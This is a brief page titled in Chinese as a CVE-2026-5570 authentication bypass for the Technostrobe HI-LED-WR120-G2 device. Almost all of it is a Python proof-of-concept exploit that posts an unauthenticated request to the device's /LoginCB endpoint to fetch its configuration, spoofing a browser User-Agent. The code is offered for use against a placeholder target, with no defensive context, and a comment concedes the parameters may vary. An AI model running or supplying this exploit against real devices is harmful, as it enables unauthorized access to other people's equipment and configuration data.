CVE-2026-5570 Technostrobe HI-LED-WR120-G2 认证绕过漏洞

import requests # CVE-2026-5570 Proof of Concept # Target: Technostrobe HI-LED-WR120-G2 # Vulnerability: Improper authentication in /LoginCB -> index_config target_url = "http://<TARGET_IP>/LoginCB" # Replace <TARGET_IP> with the device IP # Payload targeting the vulnerable function # The specific parameter structure may vary based on device implementation payload = { "function": "index_config", "action": "get_config" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending request without authentication cookies response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential Authentication Bypass Successful!") print("[+] Response Body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")